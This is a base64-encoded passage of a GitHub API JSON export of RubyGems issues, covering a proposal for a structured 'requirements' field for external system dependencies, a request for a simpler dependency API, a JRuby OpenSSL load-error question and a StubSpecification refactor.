cmljay9odHRwc2VydmVyLnJiOjgwIC0gV0VCcmljazo6SFRUUFN0YXR1czo6RU9GRXJyb3JcbkV4Y2VwdGlvbiBgV0VCcmljazo6SFRUUFN0YXR1czo6RU9GRXJyb3InIGF0IC9ob21lL3Rob3JheGUvLnJ2bS9ydWJpZXMvcnVieS0yLjEuMi9saWIvcnVieS8yLjEuMC93ZWJyaWNrL2h0dHBzZXJ2ZXIucmI6ODAgLSBXRUJyaWNrOjpIVFRQU3RhdHVzOjpFT0ZFcnJvclxuYGBgXG5cbmBgYFxucnVieSAyLjEuMnA5NSAoMjAxNC0wNS0wOCByZXZpc2lvbiA0NTg3NykgW3g4Nl82NC1saW51eF1cbjIuNC44XG5gYGBcbiJ9LHsidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTI5NiIsInJlcG9zaXRvcnlfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2VtcyIsImxhYmVsc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xMjk2L2xhYmVsc3svbmFtZX0iLCJjb21tZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xMjk2L2NvbW1lbnRzIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzEyOTYvZXZlbnRzIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzEyOTYiLCJpZCI6OTEyMzk2NTQsIm51bWJlciI6MTI5NiwidGl0bGUiOiJTdGFuZGFyZGl6ZSArcmVxdWlyZW1lbnRzKyBmaWVsZCBmcm9tIHRoZSBzcGVjaWZpY2F0aW9uIiwidXNlciI6eyJsb2dpbiI6InN0cnppYm55IiwiaWQiOjEzOTU1MjcsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMzLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzEzOTU1Mjc/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3N0cnppYm55IiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vc3RyemlibnkiLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zdHJ6aWJueS9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zdHJ6aWJueS9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zdHJ6aWJueS9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc3Ryemlibnkvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zdHJ6aWJueS9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3N0cnppYm55L29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3N0cnppYm55L3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc3RyemlibnkvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3N0cnppYm55L3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJVc2VyIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJsYWJlbHMiOlt7ImlkIjozMDU1MjQ3NTAsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvbGFiZWxzL3R5cGU6JTIwZmVhdHVyZSUyMHJlcXVlc3QiLCJuYW1lIjoidHlwZTogZmVhdHVyZSByZXF1ZXN0IiwiY29sb3IiOiJiZmU1YmYiLCJkZWZhdWx0IjpmYWxzZX1dLCJzdGF0ZSI6Im9wZW4iLCJsb2NrZWQiOmZhbHNlLCJhc3NpZ25lZSI6bnVsbCwiYXNzaWduZWVzIjpbXSwibWlsZXN0b25lIjpudWxsLCJjb21tZW50cyI6NiwiY3JlYXRlZF9hdCI6IjIwMTUtMDYtMjZUMTI6Mzc6MDdaIiwidXBkYXRlZF9hdCI6IjIwMTYtMDYtMDlUMDk6MjE6MTZaIiwiY2xvc2VkX2F0IjpudWxsLCJhdXRob3JfYXNzb2NpYXRpb24iOiJDT05UUklCVVRPUiIsImJvZHkiOiJDdXJyZW50bHksIHRoZXkgYXJlIG5vIHN0YW5kYXJkcyByZWdhcmRpbmcgdGhlIGRlZmluaXRpb24gb2YgZXh0ZXJuYWwgZGVwZW5kZW5jaWVzIGZvciBnZW1zLiBXZSBoYXZlIGByZXF1aXJlbWVudHNgIGZpZWxkIGluIHRoZSBzcGVjaWZpY2F0aW9uIHRoYXQgaXMgcXVpdGUgYmVuZXZvbGVudCBhbmQgYXMgc3VjaCBkb2VzIG5vdCBhbGxvdyB0byB3cml0ZSB1c2VmdWwgdGhpcmQtcGFydHkgdG9vbGluZyB0byBoYW5kbGUgdGhlIHByb2JsZW0gb2YgaW5zdGFsbGluZyBwcm9wZXIgaGVhZGVyIGZpbGVzL2xpYnJhcmllcyBvbiB0YXJnZXRlZCBzeXN0ZW1zLlxuXG5UaGV5IGFyZSBwcm9qZWN0cyBsaWtlIGh0dHBzOi8vZ2l0aHViLmNvbS92b3hpay9nZW0tbmljZS1pbnN0YWxsIHRoYXQgdHJpZXMgdG8gd29yayBhcm91bmQgaXQgYnkgY3JlYXRpbmcgdGhlaXIgb3duIHNwZWNpZmljYXRpb24gZmlsZSwgYnV0IHRoYXQncyBhIHBhdGggdGhhdCBkb2VzIG5vdCBzY2FsZSB3ZWxsLlxuXG5XaGF0IEkgd291bGQgbGlrZSB0byBzZWUgaXMgYSBzdGFuZGFyZGl6ZSBgcmVxdWlyZW1lbnRzYCBmaWVsZCB0aGF0IHdvdWxkIHByb3ZpZGUgYSBzdHJ1Y3R1cmVkIGluZm9ybWF0aW9uIGFib3V0IGV4dGVybmFsIHN5c3RlbSBkZXBlbmRlbmNpZXMuIE5vdGUgdGhhdCBvbiBSdWJ5R2VtcyBwYXJ0IHRoaXMgY2FuIGJlIGltcGxlbWVudGVkIGFzIGEgZ3VpZGVsaW5lLCBwcm9wZXIgaW5zdGFsbGF0aW9uIG9mIHRob3NlIGRlcGVuZGVuY2llcyBjYW4gYmUgbGVmdCB0byBleHRlcm5hbCB0b29saW5nIHN1Y2ggYXMgX2dlbS1uaWNlLWluc3RhbGxfLlxuXG5NeSBpZGVhIGlzIHRvIGxldmVyYWdlIHRoZSBgcmVxdWlyZW1lbnRzYCBmaWVsZCBhbmQgbWFrZSBpdCBhIEpTT04gc2NoZW1hIG9mIGV4dGVybmFsIGRlcGVuZGVuY2llcyBzdWNoIGFzOlxuXG5gYGBcbnsgXG4gIFwicnVieVwiOiB7XG4gICAgXCJsaWJ4bWwyXCI6IHtcbiAgICAgIFwiZmVkb3JhXCI6IHtcbiAgICAgICAgXCIyMlwiOiBbXG4gICAgICAgICAgXCJsaWJ4bWwyLWRldmVsXCJcbiAgICAgICAgXSxcbiAgICAgICAgXCJkZWZhdWx0XCI6IFtcbiAgICAgICAgICBcImxpYnhtbDItZGV2ZWxcIlxuICAgICAgICBdXG4gICAgICB9LFxuICAgICAgXCJ1YnVudHVcIjoge1xuICAgICAgICBcIjE0LjA0XCI6IFtcbiAgICAgICAgICBcImxpYnhtbDItZGV2XCJcbiAgICAgICAgXVxuICAgICAgfVxuICAgIH1cbiAgfSxcbiAgXCJqYXZhXCI6IHtcblxuICB9XG59XG5gYGBcblxuVGhlIGhpZ2hlc3QgbGV2ZWwgd291bGQgcmVwcmVzZW50IHBsYXRmb3JtcyBhcyBrbm93biBmcm9tIFJ1YnlHZW1zIChydWJ5LCBqYXZhLCB4ODYtbWluZ3czMiwgLi4uKSwgdGhlbiB0aGVyZSB3aWxsIGJlIGEgbGlzdCBvZiBkZXBlbmRlbmNpZXMgKG9mZmljaWFsIG5hbWVzKSB3aXRoIGRlZmluaXRpb24gb2Ygb3BlcmF0aW5nIHN5c3RlbXMgYW5kIHRoZWlyIHZlcnNpb25zIHdoaWNoIHdvdWxkIGF0IGxhc3Qgc3BlY2lmeSB0aGUgcGFja2FnZS9wb3J0IG5hbWUgZm9yIGEgZ2l2ZW4gT1MgdmVyc2lvbi5cblxuT1MgaWRlbnRpZmllcnMgd291bGQgaGF2ZSB0byBiZSBzdGFuZGFyZGl6ZSBpZGVhbGx5IHNvIHRoZXkgcmVtYWluIHRoZSBzYW1lIGFjcm9zcyBhbGwgcmVsZWFzZWQgZ2VtczpcblxuYGBgXG5mZWRvcmEsIHJoZWwsXG5vcGVuc3VzZSwgc2xlcyxcbnVidW50dSwgZGViaWFuLFxuYXJjaCxcbmNvcmVvcyxcbmRhcndpbixcbmdlbnRvbyxcbm5peG9zLFxuc29sYXJpcyxcbmZyZWVic2QsIG9wZW5ic2QsIG5ldGJzZCxcbmRhcndpbixcbndpbmRvd3NcbmBgYFxuXG5SdWJ5R2VtcyBwYXJ0IHdvdWxkIGJlIHRvIGVuc3VyZSB0aGF0IHRoZSBgcmVxdWlyZW1lbnRzYCBmaWVsZCBpcyBhIHZhbGlkIEpTT04gaW4gdGhlIGdpdmVuIGZvcm1hdCB3aXRoIHZhbGlkIGlkZW50aWZpZXJzIGlzc3VpbmcgYSB3YXJuaW5nIG9uIGdlbSBidWlsZCBpZiBub3QuXG5cblBsZWFzZSBub3RlIHRoYXQgZXZlbiBpZiBvbmUgZGVwZW5kZW5jeSBvciB0d28gd2lsbCBiZSBzcGVjaWZpZWQgYnkgdGhlIGF1dGhvciwgaXQgbWlnaHQgc3RpbGwgYmUgZW5vdWdoIGluZm9ybWF0aW9uIG9uIGRvd25sb2FkaW5nIGEgcHJvcGVyIGRlcGVuZGVuY3kgb24gb3RoZXIgc3lzdGVtcyAoRmVkb3JhIGAtZGV2ZWxgIHZzIERlYmlhbiBgLWRldmAgc3ViLXBhY2thZ2VzKS5cblxuVGhpcyBzdGFuZGFyZGl6YXRpb24gY291bGQgZW5hYmxlIG1hbnkgUnVieSBkZXZlbG9wZXJzIHRvIGNyZWF0ZSBwcm9wZXIgdG9vbGluZyBhbmQgbWFrZSBpbnN0YWxsaW5nIGdlbXMgd2l0aCBleHRlbnNpb25zIGZpbmFsbHkgYXMgZWFzeSBhcyBpbnN0YWxsaW5nIHRob3NlIHdpdGhvdXQuIEl0IHdpbGwgYWxzbyBlbmFibGUgdXMgdG8gaW1wcm92ZSBnZW0tdG8tcnBtIGNvbnZlcnNpb25zIChhbmQgY29udmVyc2lvbnMgdG8gb3RoZXIgZm9ybWF0cykgYXV0b21hdGljYWx5IHdpdGggcHJvcGVyIGRlcGVuZGVuY2llcyBzdGF0ZWQuIEl0J3Mgc29tZXRoaW5nIEkgcmVhbGx5IG1pc3MgaW4gY3VycmVudCBSdWJ5R2Vtcy5cblxuQGRyYnJhaW4gQHRlbmRlcmxvdmUgXG4ifSx7InVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzEyNDYiLCJyZXBvc2l0b3J5X3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMiLCJsYWJlbHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTI0Ni9sYWJlbHN7L25hbWV9IiwiY29tbWVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTI0Ni9jb21tZW50cyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xMjQ2L2V2ZW50cyIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xMjQ2IiwiaWQiOjc0NzU3MzQ4LCJudW1iZXIiOjEyNDYsInRpdGxlIjoiUGxlYXNlIGNvbnNpZGVyIHNpbXBsaWZ5aW5nIHRoZSBBUEkgZm9yIG9idGFpbmluZyBkZXBlbmRlbmNpZXMgb2YgYSBnaXZlbiBnZW0tYmFzZWQgcHJvamVjdC4iLCJ1c2VyIjp7ImxvZ2luIjoic2hldmVnZW4iLCJpZCI6MTM3MjMsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMzLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzEzNzIzP3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zaGV2ZWdlbiIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3NoZXZlZ2VuIiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2hldmVnZW4vZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2hldmVnZW4vZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2hldmVnZW4vZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NoZXZlZ2VuL3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2hldmVnZW4vc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zaGV2ZWdlbi9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zaGV2ZWdlbi9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NoZXZlZ2VuL2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zaGV2ZWdlbi9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwibGFiZWxzIjpbeyJpZCI6NDQzMzM0MTgwLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2xhYmVscy9jb250cmlidXRpb246JTIwdW5jbGFpbWVkIiwibmFtZSI6ImNvbnRyaWJ1dGlvbjogdW5jbGFpbWVkIiwiY29sb3IiOiJEREREREQiLCJkZWZhdWx0IjpmYWxzZX0seyJpZCI6MzA1NTI0NzUwLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2xhYmVscy90eXBlOiUyMGZlYXR1cmUlMjByZXF1ZXN0IiwibmFtZSI6InR5cGU6IGZlYXR1cmUgcmVxdWVzdCIsImNvbG9yIjoiYmZlNWJmIiwiZGVmYXVsdCI6ZmFsc2V9XSwic3RhdGUiOiJvcGVuIiwibG9ja2VkIjpmYWxzZSwiYXNzaWduZWUiOm51bGwsImFzc2lnbmVlcyI6W10sIm1pbGVzdG9uZSI6bnVsbCwiY29tbWVudHMiOjAsImNyZWF0ZWRfYXQiOiIyMDE1LTA1LTA5VDIwOjU4OjA4WiIsInVwZGF0ZWRfYXQiOiIyMDE2LTExLTAyVDIwOjIzOjE2WiIsImNsb3NlZF9hdCI6bnVsbCwiYXV0aG9yX2Fzc29jaWF0aW9uIjoiTk9ORSIsImJvZHkiOiJIaSBndXlzLFxuXG5JIGNhbiBvYnRhaW4gZGVwZW5kZW5jaWVzIG9mIGEgcnVieSBnZW0gYnkgaXNzdWluZyBzb21ldGhpbmcgbGlrZTpcblxuYGBgXG5HRU1fQ01EID0gR2VtOjpDb21tYW5kczo6RGVwZW5kZW5jeUNvbW1hbmQubmV3XG5uYW1lX29mX3RoZV9nZW0gPSAnY29va2Jvb2snXG5kZXBlbmRlbmN5ID0gR0VNX0NNRC5nZW1fZGVwZW5kZW5jeShuYW1lX29mX3RoZV9nZW0sIG5pbCwgbmlsKVxuR0VNX0NNRC5mZXRjaF9yZW1vdGVfc3BlY3MoZGVwZW5kZW5jeSkudW5pcS5zb3J0XG5gYGBcblxuQW5kIHRoZW4gaXRlcmF0aW5nIG92ZXIgdGhhdCwgYW5kIGludm9raW5nIHRoZSBtZXRob2Rcbi5kZXBlbmRlbmNpZXMoKSBvbiBpdC5cblxuVGhlIGFib3ZlIGlzIHJhdGhlciB1bndpZWxkeSBhbmQgaGFyZCB0byByZW1lbWJlci5cblxuQ291bGQgaXQgYmUgc2ltcGxpZmllZCBwZXJoYXBzP1xuXG5JJ2QgbG92ZSB0byBoYXZlIGFuIEFQSSBsaWtlOlxuXG4gIEdlbTo6Q29tbWFuZHM6OkdlbURlcGVuZGVuY2llc09mLm5ldygncmFpbHMnKVxuXG5BbmQgdGhlIGFib3ZlIGNvdWxkIGdpdmUgbWUgYmFjayBhbiBBcnJheSwgd2l0aCBhbGwgb2ZcbnJhaWxzIGRlcGVuZGVuY2llcy5cblxuVGhhdCB3b3VsZCBiZSBsb3ZlbHkuIEkgYW0gbm90IHN1cmUgaWYgdGhpcyBpcyB3b3J0aCB0byByZXBvcnQsXG5pZiBpdCBpcyB0b28gbXVjaCBvZiBhIGhhc3NsZSBvciB3b3JrLCBqdXN0IGNsb3NlIHRoaXMgaXNzdWVcbmhlcmUuIFRoYW5rcy5cbiJ9LHsidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTI0NSIsInJlcG9zaXRvcnlfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2VtcyIsImxhYmVsc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xMjQ1L2xhYmVsc3svbmFtZX0iLCJjb21tZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xMjQ1L2NvbW1lbnRzIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzEyNDUvZXZlbnRzIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzEyNDUiLCJpZCI6NzMyODIwNDIsIm51bWJlciI6MTI0NSwidGl0bGUiOiJyZXF1aXJlICdvcGVuc3NsJyBmYWlsdXJlIHdvbid0IGJlIGRldGVjdGVkIHByb3Blcmx5IHVuZGVyIEpSdWJ5IiwidXNlciI6eyJsb2dpbiI6ImthcmVzIiwiaWQiOjQ1OTY3LCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMC5naXRodWJ1c2VyY29udGVudC5jb20vdS80NTk2Nz92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMva2FyZXMiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9rYXJlcyIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2thcmVzL2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2thcmVzL2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2thcmVzL2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9rYXJlcy9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2thcmVzL3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMva2FyZXMvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMva2FyZXMvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9rYXJlcy9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMva2FyZXMvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sImxhYmVscyI6W3siaWQiOjMwNzg4MTAxMSwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9sYWJlbHMvc3RhdHVzOiUyMHJlYWR5IiwibmFtZSI6InN0YXR1czogcmVhZHkiLCJjb2xvciI6ImZlZjJjMCIsImRlZmF1bHQiOmZhbHNlfV0sInN0YXRlIjoib3BlbiIsImxvY2tlZCI6ZmFsc2UsImFzc2lnbmVlIjpudWxsLCJhc3NpZ25lZXMiOltdLCJtaWxlc3RvbmUiOm51bGwsImNvbW1lbnRzIjo1LCJjcmVhdGVkX2F0IjoiMjAxNS0wNS0wNVQxMTowMzo1MVoiLCJ1cGRhdGVkX2F0IjoiMjAxNi0wNi0wOVQwOToyMTo0MFoiLCJjbG9zZWRfYXQiOm51bGwsImF1dGhvcl9hc3NvY2lhdGlvbiI6Ik5PTkUiLCJib2R5IjoiZHVlIGBlLm1lc3NhZ2UgPX4gLyAtLSBvcGVuc3NsJC9gXG5cbmBgYCBydWJ5XG5iZWdpblxuICByZXF1aXJlICdvcGVuc3NsJ1xucmVzY3VlIExvYWRFcnJvciA9PiBlXG4gIHJhaXNlIHVubGVzcyAoZS5yZXNwb25kX3RvPyg6cGF0aCkgJiYgZS5wYXRoID09ICdvcGVuc3NsJykgfHxcbiAgICAgICAgICAgICAgIGUubWVzc2FnZSA9fiAvIC0tIG9wZW5zc2wkL1xuZW5kXG5gYGBcblxuaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2Jsb2IvbWFzdGVyL2xpYi9ydWJ5Z2Vtcy9zZWN1cml0eS5yYiNMMTRcblxuSSdtIGN1cmlvdXMgY291bGQgdGhpcyBiZSBkb25lIGluIGEgbW9yZSAoSlJ1YnkpIGNvbXBhdGlibGUgd2F5IG9yIGRvZXMgaXQgbmVlZHMgdG8gc3RheSBhbmQgSlJ1YnktT3BlblNTTCBzaG91bGQgcHV0IGluIFwiaGFja3NcIiBzdWNoIGFzIGh0dHBzOi8vZ2l0aHViLmNvbS9qcnVieS9qcnVieS1vcGVuc3NsL3B1bGwvNDEgLi4uIGFsbCBKUnVieSBjdXJyZW50bHkgZG9lcyB1bmRlciBfb3BlbnNzbC5yYl8gaXMgYSBzaW1wbGU6IGByZXF1aXJlICdqb3BlbnNzbC9sb2FkJ2BcbiJ9LHsidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTI0NCIsInJlcG9zaXRvcnlfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2VtcyIsImxhYmVsc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xMjQ0L2xhYmVsc3svbmFtZX0iLCJjb21tZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xMjQ0L2NvbW1lbnRzIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzEyNDQvZXZlbnRzIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvcHVsbC8xMjQ0IiwiaWQiOjczMTczMDg3LCJudW1iZXIiOjEyNDQsInRpdGxlIjoiU3dpdGNoIEdlbTo6U3R1YlNwZWNpZmljYXRpb24gdG8gYmUgYSBkZWxlZ2F0ZSBvYmplY3QiLCJ1c2VyIjp7ImxvZ2luIjoidGVuZGVybG92ZSIsImlkIjozMTI0LCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMS5naXRodWJ1c2VyY29udGVudC5jb20vdS8zMTI0P3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy90ZW5kZXJsb3ZlIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vdGVuZGVybG92ZSIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3RlbmRlcmxvdmUvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvdGVuZGVybG92ZS9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy90ZW5kZXJsb3ZlL2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy90ZW5kZXJsb3ZlL3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvdGVuZGVybG92ZS9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3RlbmRlcmxvdmUvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvdGVuZGVybG92ZS9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3RlbmRlcmxvdmUvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3RlbmRlcmxvdmUvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjp0cnVlfSwibGFiZWxzIjpbeyJpZCI6MzA3ODgxMDExLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2xhYmVscy9zdGF0dXM6JTIwcmVhZHkiLCJuYW1lIjoic3RhdHVzOiByZWFkeSIsImNvbG9yIjoiZmVmMmMwIiwiZGVmYXVsdCI6ZmFsc2V9LHsiaWQiOjMwNTUyNTYzMiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9sYWJlbHMvdHlwZTolMjBtYWpvciUyMGJ1bXAiLCJuYW1lIjoidHlwZTogbWFqb3IgYnVtcCIsImNvbG9yIjoiYmZlNWJmIiwiZGVmYXVsdCI6ZmFsc2V9XSwic3RhdGUiOiJvcGVuIiwibG9ja2VkIjpmYWxzZSwiYXNzaWduZWUiOm51bGwsImFzc2lnbmVlcyI6W10sIm1pbGVzdG9uZSI6bnVsbCwiY29tbWVudHMiOjEwLCJjcmVhdGVk